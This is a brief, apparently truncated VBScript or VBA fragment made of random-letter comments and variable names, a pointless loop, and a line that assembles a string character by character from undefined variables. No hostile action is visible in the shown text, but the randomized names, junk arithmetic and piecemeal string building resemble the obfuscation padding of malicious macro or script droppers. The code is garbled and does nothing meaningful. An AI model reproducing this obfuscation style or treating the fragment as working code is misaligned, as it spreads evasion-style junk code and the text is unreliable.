Rem atcanqiicgqwkbzyyxqwbyunidky
Rem iiwzujhoiuhqwhjtunseou
Dim xnkfwe7 As Double
xnkfwe7 = 11473.60363
ltgiva = 2
iyiaei4 = -5
Do While ltgiva > iyiaei4
ltgiva = ltgiva - 5
Loop
oiabm = oiabm + Mid(rqouhhj, opurqd, 1)
ejskkqg6 = 2
orufiy = 6
…